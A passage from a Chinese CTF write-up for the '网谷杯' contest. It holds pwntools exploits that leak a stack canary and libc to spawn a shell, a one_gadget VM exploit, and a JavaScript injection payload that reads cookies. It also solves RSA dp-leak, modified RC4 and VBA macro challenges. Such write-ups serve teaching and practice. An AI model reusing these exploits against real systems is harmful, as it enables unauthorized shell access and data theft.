网谷杯
zach0ry

pwn

金丝雀-wgb

附件

image-20250913175247353

image-20250913175322389

分析看到main中的buf可以绕过canary,而gift是很明显的栈溢出

用read函数去泄露,把canary的值放到bss段,写出来

之后用retlibc去泄露就好,(把canary放在合适的位置上面)

image-20250914111727814

可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#p= process("./111")
p=remote("119.36.240.225",48793)
context(arch='amd64', os='linux', log_level='debug')
elf = ELF("./111")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x4013e3
ret = 0x40101a
gift = 0x40123D
bss = 0x404f00
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']


lea=0x401296
payload = p64(bss) + p64(lea)
p.sendlineafter('Do you want to enter other functions?', '2')
p.send(payload)


lea=0x4012EA
payload = p64(bss - 0x8 + 0x50) + p64(lea)
p.sendlineafter('Do you want to enter other functions?', '2')
p.send(payload)


p.recvline().strip()
canary = u64(p.recv(8) , 16)
print("=====" , canary)



p.sendlineafter('Do you want to enter other functions?', '1')
payload = b'a' * 0x38 + p64(canary) + p64(0)
payload+=p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift)
p.send(payload)


libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x84420
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * 0x38 + p64(canary) + p64(0)
payload+= p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p.send(payload)


p.interactive()

flag{9fa258d4-dfef-414d-80f9-9e315889462f}

image-20250913180640243

注意,这里要抬栈,不然函数会在scanf卡住[0x403b08]

image-20250914121426485

image-20250914122237319

这里卡在了mov操作,要写入的w权限

zeroday-wgb

附件

image-20250913184326574

image-20250913184342294

分析,6可以输出地址,用它来泄露libc基地址,7可以直接运行+144的位置,但是buf最多输入0x400,所以要对buf_0输入,也就是用1进行,在+144位置上放上后门函数就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import sys

p = remote("119.36.240.225", 43376)
libc = ELF("libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF("./pwn")

def sa(a, b):
p.sendafter(a, b)

def push_q(x): return b'\x01' + p64(x)
def op_pop(): return b'\x02'
def op_add(): return b'\x03'
def op_xor(): return b'\x04'
def op_print():return b'\x05'
def op_call(): return b'\x06'
def leak(addr):return b'\x07' + p64(addr)



puts_got = elf.got["puts"]
payload_leak = leak(puts_got)
sa(b"Enter bytecode:", payload_leak)

p.recvuntil(b"LEAK: ")
leak_line = p.recvline()
parts = leak_line.split(b' ')
puts_real_addr_str = parts[2]
puts_real_addr = int(puts_real_addr_str, 16)
log.info(f"Puts real address: {hex(puts_real_addr)}")


libc_base = puts_real_addr - libc.symbols["puts"]
log.info(f"Libc base address: {hex(libc_base)}")

off = 0xe3afe
target = libc_base + off

payload = b''
payload += push_q(0) * 16
payload += push_q(target)
payload += op_call()
p.send(payload)

sa(b"Enter bytecode:", b"ls -al")

p.interactive()

flag{840fde71-2c8a-4d4f-a716-1232fdf72054}

image-20250913184633127

web

真假之间-wgb

image-20250913190920293

b1772a3958ff900390a36608bf64c737

payload:a=7e6&b=axht&c=function%20setItem%28k%2Cv%29%7BsessionStorage.setItem%28k%2CJSON.stringify%28v%29%29%3B%7D%20setItem%28%272025x%27%2C%20%5B%22a%22%2C%209999999999999999%5D%29%3B

540bdf7f643ec7f96589de3d4a1415d7

执行

1
2
3
4
5
6
7
8
// 输出当前页面的 Cookie
console.log('cookie=', document.cookie);

// 输出 sessionStorage 中键为 '2025x' 的值
console.log('sessionStorage[2025x]=', sessionStorage.getItem('2025x'));

// 输出 ID 为 'flag_base85' 的元素的文本内容,如果不存在则输出 '<empty>'
console.log('#flag_base85=', document.getElementById('flag_base85') ? document.getElementById('flag_base85').textContent : '<empty>');

cf9ef2b26206e614899ac20fd2c98a46

flag{D9xT7ePqA1LuVnYk}

MISC

Format-8bit-wgb

随波逐流提取

image-20250913185713891

image-20250913185811897

转一下

image-20250913185916569

flag{2815dc1e28f9d89e2b80072d23c4dc35}

non-interlaced-wgb

089d474e60e9af59b525550738358eb0

image-20250913195002116

脚本

image-20250913200341297

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import numpy as np
import binascii # 导入 binascii 库,用于处理二进制和 ASCII 之间的转换(尽管在此脚本中未直接使用)
import io
import zipfile # 导入 zipfile 库,用于处理 ZIP 压缩文件
import os # 导入 os 库,用于与操作系统交互(例如文件路径)
from PIL import Image # 导入 Pillow 库的 Image 模块,用于处理图像

# 定义一个函数,用于将图像的 RGB 通道数据按顺序提取为字节串
def img_to_bytes_rgb_order(path):
# 使用 Pillow 库打开图像文件,并将其转换为 RGB 模式
arr = np.array(Image.open(path).convert("RGB"))
# 将图像的 RGB 平面按顺序拼接:首先是所有 R 通道数据,然后是所有 G 通道数据,最后是所有 B 通道数据
# .flatten() 将二维数组展平为一维
# .tolist() 将 NumPy 数组转换为 Python 列表
# bytes(...) 将列表转换为字节串
return bytes(arr[:,:,0].flatten().tolist() + arr[:,:,1].flatten().tolist() + arr[:,:,2].flatten().tolist())

# 通过列表推导式,依次处理三张图像,并将它们的字节串连接起来
# 假设这三张图像的文件路径是 "/mnt/data/c1.png", "/mnt/data/c2.png", "/mnt/data/c3.png"
# 最终将所有图像的字节数据拼接成一个完整的字节串
data = b''.join(img_to_bytes_rgb_order(p) for p in ["/mnt/data/c1.png","/mnt/data/c2.png","/mnt/data/c3.png"])

# 指定恢复后的 ZIP 文件的路径
zip_path = "/mnt/data/recovered_from_9_images.zip"
# 以二进制写入模式打开文件,将拼接好的字节数据写入其中
with open(zip_path, "wb") as f:
f.write(data)

# 尝试读取新创建的 ZIP 文件,并列出其内部的文件名
listing = []
try:
with zipfile.ZipFile(zip_path, 'r') as zf:
# zf.namelist() 获取 ZIP 文件中所有文件和文件夹的名称列表
listing = zf.namelist()
except Exception as e:
# 如果在读取 ZIP 文件时发生任何错误(例如文件损坏),则捕获异常并记录错误信息
listing = [f"读取ZIP时出现问题: {e!r}"]

# 打印最终的文件列表或错误信息,以便用户查看结果
print(listing)

image-20250913200701922

image-20250913200737301

flag{1c2121cab407dd44a5540d530ab9c6aa}

CRY

证书修复-wgb

三个与 RSA,flag1直接解

flag23是dp泄露,泄露参数 dp、公钥指数 e 和模数 n,计算出模数 n 的一个素因数 p去重构私钥 d,从而解密密文

image-20250913191724100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import bytes_to_long, long_to_bytes # 导入用于处理大整数和字节串的库
import math # 导入数学库,用于最大公约数计算

# 这段脚本旨在解决三个基于 RSA 的密码学挑战(CTF 题目)

# --- Flag1: 题面已给 d1, n1,直接解密 ---
# d1 是第一个挑战的私钥指数
d1 = int(
"246014400079542834092587904158893656266047385977563055118072356568676746697095"
"825913864806962708152448954200878667383422993297898494259484707349502246104506"
"292708966897357241647506535040670750128510698600522884133934921403976388746897"
"47304249627737638521072321625292497180208183282090634794285367566044496049"
)
# n1 是第一个挑战的模数
n1 = int(
"121216793759965406495195349784688471172903898464863919579528667261419201175006"
"158506254851920269184174476441342645096664857617956346276850231302641370595849"
"992364168925183323567715165305825214477546120105756089950903529561478112787635"
"175307546002017263761103481685637785188859785795387227441771118141108993731"
)

# --- Flag2: dp 泄露攻击 ---
# n2 是第二个挑战的模数
n2 = int(
"880240914857229681312031297728305248816545296251441345888143405900115541246043"
"164032587947185950587601925814651819329544052882761982559510378904410578348151"
"153512391510277303040801105941161928077798175274696915482616445385505290118824"
"99685981945213841298369305720161373509056672240371216670722254664850792423"
)
# dp2_hex 是私钥指数 d 模 p-1 的结果,以十六进制给出
dp2_hex = (
"008a1bb5ddfff1643cb542d174a0f4e0616503e28778bd2ecd965026baba357303627d6044b77"
"34cef07b8a1176d886ca987cd21ca091755eef7f20634a921ce81"
)
e2 = 65537 # 公钥指数

# --- Flag3: dp 泄露攻击 ---
# n3 是第三个挑战的模数
n3 = int(
"161097000312435047639025857083798608426453770394810689419872061300529854423940"
"452844900091705515387130272189159935215821125906831946941166430461267964034092"
"194438035823677086083564924149614045494613496178826123777949284989729443312266"
"399276493423985154752448654420778684877265358368899693320567387749119123981"
)
# dp3_hex 是私钥指数 d 模 p-1 的结果,以十六进制给出
dp3_hex = (
"0087462d8061c0f6251ca4e9b9dd7d5926d96081d5b52f7b76581365865278f0a13f7051d2ece1"
"dda234c41946211a4839f72b2b5fb82bbfa286d82e868ce87341"
)
e3 = 65537 # 公钥指数


def read_cipher(path: str) -> int:
"""从文件中读取密文,并将其转换为大整数。"""
with open(path, "rb") as f:
return bytes_to_long(f.read())


def rsa_decrypt_with_d(n: int, d: int, c: int) -> bytes:
"""使用完整的私钥指数 d 对密文进行解密。

参数:
n (int): RSA 模数。
d (int): 私钥指数。
c (int): 密文大整数。

返回:
bytes: 解密后的明文字节串。
"""
m = pow(c, d, n) # RSA 解密的核心操作: m = c^d mod n
pt = long_to_bytes(m) # 将大整数明文转换回字节串
return pt


def recover_p_from_dp(n: int, e: int, dp: int) -> int | None:
"""
根据 d_p(dp)和 n、e,利用 Fermat 小定理或 k 枚举来恢复素数 p。
原理是 dp = d mod (p-1) = e^-1 mod (p-1)。
这推导出 e*dp ≡ 1 (mod p-1),所以 e*dp - 1 是 p-1 的倍数。
即 e*dp - 1 = k*(p-1),可以重新排列得到 p = (e*dp-1)/k + 1。

为了找到 k,我们利用一个已知的引理:
(e*dp - 1) = k*(p-1) 且 a^(e*dp-1) ≡ a^k(p-1) ≡ a (mod p)
所以 gcd(a^(e*dp-1) - a, n) 会得到 p 或 q 的因子。

参数:
n (int): RSA 模数。
e (int): 公钥指数。
dp (int): 泄露的私钥指数 dp。

返回:
int | None: 如果成功找到 p,返回 p;否则返回 None。
"""
# 优先使用更稳妥的 GCD 方法来分解 n
edp = e * dp - 1
for a in (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31):
g = math.gcd(pow(a, edp, n) - 1, n)
if 1 < g < n:
return g

# 如果 GCD 方法失败,回退到 k 枚举法
num = edp # edp - 1
for k in range(1, e):
if num % k == 0:
p = num // k + 1
if p > 1 and n % p == 0:
return p
return None


def rsa_decrypt_with_dp(n: int, e: int, dp_hex: str, c: int) -> bytes:
"""
使用泄露的 dp 来解密 RSA 密文。
该函数首先利用 dp 恢复出 p,然后计算 q、phi、d,最后完成解密。

参数:
n (int): 模数。
e (int): 公钥指数。
dp_hex (str): 泄露的 dp,十六进制格式。
c (int): 密文。

返回:
bytes: 解密后的明文。
"""
# 将十六进制字符串 dp_hex 转换为大整数 dp
dp = int(dp_hex, 16)

# 恢复素数 p
p = recover_p_from_dp(n, e, dp)
if not p:
raise ValueError("未能从 dp 恢复出 p。")

# 根据 p 和 n 计算 q,并计算 phi(n)
q = n // p
phi = (p - 1) * (q - 1)

# 计算完整的私钥指数 d = e^-1 mod phi
d = pow(e, -1, phi)

# 使用 d 对密文进行解密
m = pow(c, d, n)

# 将解密结果转换回字节串
return long_to_bytes(m)


def try_print(tag: str, data: bytes):
"""
尝试以 UTF-8 编码打印数据,如果失败则以十六进制形式打印。

参数:
tag (str): 打印时使用的前缀标签。
data (bytes): 待打印的字节串数据。
"""
try:
# 尝试解码为 UTF-8,忽略无法解码的字符
print(f"{tag}: {data.decode('utf-8', errors='ignore')}", end="")
except Exception:
# 如果解码失败,打印十六进制表示
print(f"{tag} (hex): {data.hex()}")


def main():
"""主函数,依次执行三个挑战的解密任务。"""
# Flag1: 直接使用给定的 n1, d1 解密
c1 = read_cipher("flag1.txt")
pt1 = rsa_decrypt_with_d(n1, d1, c1)
try_print("Flag1", pt1)

# Flag2: 使用泄露的 dp2 解密
c2 = read_cipher("flag2.txt")
pt2 = rsa_decrypt_with_dp(n2, e2, dp2_hex, c2)
try_print("\nFlag2", pt2)

# Flag3: 使用泄露的 dp3 解密
c3 = read_cipher("flag3.txt")
pt3 = rsa_decrypt_with_dp(n3, e3, dp3_hex, c3)
try_print("\nFlag3", pt3)
print() # 换行

if __name__ == "__main__":
main()

flag{You_do_have_a_good_understanding_of_certificate_formats_and_the_RSA_algorithm.}

image-20250913191635021

三重秘影-wgb

一共有三个加密

image-20250913192348390

7dc6d67ae0448e9163f21f9593e5b447

这里还有一个图片,把它也提取出来

image-20250913192941109

解密得到9273016854

最后还有一个base64image-20250913193346108

最后SM4解密

image-20250913193521672

flag{a8d2f9b1c3e7g6h4i5j}

reverse

re1-NewRC4-wgb

先查壳,看到UPX,这个是魔改了

img

用010打开,把VMP都改成UPX就好了

用upx 命令脱壳,然后放到IDA里面进行逆向分析

img

这个密文是错的,它使用了TLS回调,会修改key的值,如果动态调试也会被检测出来,key还会被修改

img

那么真正的key就是 那一串nbGvzyHebFGcV8auYoqe 与 0x7a异或

img

这个很明显是rc4魔改了

img

都在后面加上了113

直接写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import struct

def solve():
key = [0x14,0x18,0x3d,0x0c,0x00,0x03,0x32,0x1f,0x18,0x3c,0x3d,0x19,0x2c,0x42,0x1b,0x0f,0x23,0x15,0x0b,0x1f]
key_len = len(key)

# 模拟RC4的KSA (密钥调度算法)
S = list(range(256))
T = [key[i % key_len] for i in range(256)]

j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]

S_ksa_final = S[:]
buf1_dwords = [
-1099083345, 2129584582, 1339278712, -1197737055,
632459247, -1426643507, -314991759, -1937737471,
-1369194212, -269001761
]
buf1_word = 10008

ciphertext = b''
for d in buf1_dwords:
ciphertext += struct.pack('<i', d)
ciphertext += struct.pack('<h', buf1_word)

ciphertext = ciphertext[:42]

#模拟变种RC4的PRGA并解密
plaintext = bytearray()
i = 0
j = 0
for char_idx in range(len(ciphertext)):

i = (i + 1) % 256
j = (j + S_ksa_final[i]) % 256

s_i_before_swap = S_ksa_final[i]

S_ksa_final[i], S_ksa_final[j] = S_ksa_final[j], S_ksa_final[i]

s_i_after_swap = S_ksa_final[i]

t = (s_i_before_swap + s_i_after_swap) % 256
keystream_byte = S_ksa_final[t]

# 解密公式
dec_byte = ((ciphertext[char_idx] - 113) & 0xFF) ^ keystream_byte
plaintext.append(dec_byte)

return plaintext.decode()

if __name__ == '__main__':
try:
flag = solve()
print(f"The flag is: {flag}")
except Exception as e:
print(f" An error occurred: {e}")

image-20250913202417433

算法组合-wgb

使用IDA进行逆向分析

这个是有多个算法来限制flag的,flag的长度是20,并且要求flag{}包裹

直接喂给ai

img

1.把输入按6段切开并依次参与后续校验:

[0..4]”f1ag{“|[5..8]4字节|[9..12]4字节|[13]1字节|[14..18]5字节|[19]

2.AES-like”块校验

用byte_BB400 AES S-box和dword_F6380(FIPS-197经典示例密钥2B 7E 15 16

…的派生表)对前16字节做5轮样式的变换,结果要匹配常量xmmword_BB500。

结合后续约束,这一块把前16字节唯一卡成了:

b”flag[r3v3rs3_1s_”((也就是内容第0.15位)。

  1. 单字符凯撒+3,要求变换后的字符串等于“4”,且原字符得是数字→下标13必为1”。
  2. 5字节自定义64表映射+明文直比。结果必须是“”zfm1u”;

接着程序又直接把原字节和”s_fun”做逐字比较→下标14.18为”s_fun”。

  1. 4字节异或常量

另一段4字节(对应分段向量的第5/6项,落在下标9.12)每字节0x42后要等于常量

493957424的“小端”字节串,即b’01q\x1d’。

6.统计约束

末尾还有一条:数字个数>1且元音(aeiou)总数>1。

r3v3rs3_1s_fun里有数字3”和”1’两个;元音a’,’u两个,满足。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
def rotp3(ch: str) -> str:
"""凯撒 +3 加密"""
o = ord(ch)
if 97 <= o <= 122: # a-z
return chr((o - 97 + 3) % 26 + 97)
if 65 <= o <= 90: # A-Z
return chr((o - 65 + 3) % 26 + 65)
if 48 <= o <= 57: # 0-9
return chr((o - 48 + 3) % 10 + 48)
return ch


def inv_rotp3_to_make_4() -> str:
"""第13位字符:逆运算得到 rotp3(seg3) == '4' 的原字符"""
o = ord('4') - 48
return chr((o - 3) % 10 + 48) # 结果为 '1'


def recover_seg2_from_xor() -> str:
"""下标9..12的4字节:每字节 ^0x42 后得到 b'01q\x1d',反推原字节"""
target = 493_957_424 # 0x1D713130
le = target.to_bytes(4, 'little') # b'\x30\x31\x71\x1d'
raw = bytes([b ^ 0x42 for b in le])
return raw.decode('latin1') # 返回 'rs3_'



def check(s: str) -> bool:
"""校验 flag 是否满足约束"""
if len(s) != 20 or not s.startswith("flag{") or s[-1] != "}":
return False

seg1 = s[5:9]
seg2 = s[9:13]
seg3 = s[13:14]
seg4 = s[14:19]

# 前16字节约束
if s[:16] != "flag{r3v3rs3_1s_":
return False

# 单字符 rotp3 后应为 '4'
if not seg3.isdigit() or rotp3(seg3) != "4":
return False

# 段4必须为 's_fun'
if seg4 != "s_fun":
return False

# 段2每字节 ^0x42 == b'01q\x1d'
want = bytes([0x30, 0x31, 0x71, 0x1d])
got = bytes([ord(c) ^ 0x42 for c in seg2])
if got != want:
return False

# 数字>1 且元音>1
digits = sum(ch.isdigit() for ch in s)
vowels = sum(ch in "aeiou" for ch in s)
if not (digits > 1 and vowels > 1):
return False

return True


def main():
head, tail = "flag{", "}"
seg1 = "r3v3"
seg2 = recover_seg2_from_xor() # 'rs3_'
seg3 = inv_rotp3_to_make_4() # '1'
seg4 = "s_fun"

flag = f"{head}{seg1}{seg2}{seg3}{seg4}{tail}"

# 自检
assert len(flag) == 20
assert flag.startswith("flag{") and flag.endswith("}")
assert seg2 == "rs3_"
assert seg3 == "1"
assert seg4 == "s_fun"
assert sum(ch.isdigit() for ch in flag) > 1
assert sum(ch in "aeiou" for ch in flag) > 1

print("flag:", flag)
print("check:", "ok" if check(flag) else "FAIL")


if __name__ == "__main__":
main()

image-20250913202645582

flag{r3v3rs3_1s_fun}

满江红-wgb

考的是VBA宏

使用命令olevba E:\re\网谷杯\满江红.doc

img

这是多个base64加密,解密逻辑是使用了一个大的 Base64 编码的密钥 key,结合数组 ciphertext 进行 XOR 解密,然后拼接成字符串。

import base64

# Base64 解码 key
def base64decode(s):
return base64.b64decode(s)

# unxor 函数
def unxor(ciphertext, start, key):
cleartext = “”
for i in range(len(ciphertext)):
cleartext += chr(key[i + start] ^ ciphertext[i])
return cleartext

# Base64 key(VBA 中的拼接内容)
key_b64 = (
“rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl”
“l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9”
“3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n”
“d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==”
)
key = base64decode(key_b64)

# 所有 ciphertext Array(按照 VBA 中顺序)
arrays = [
([135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56], 3),
([201, 1], 14),
([137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34], 16),
([199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203], 66),
([102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92], 155),
([234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79], 244),
([209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10], 333),
([81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145], 422),
([220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101], 511),
([173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126], 600),
([246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120], 689),
([21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183], 778),
([220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163], 867),
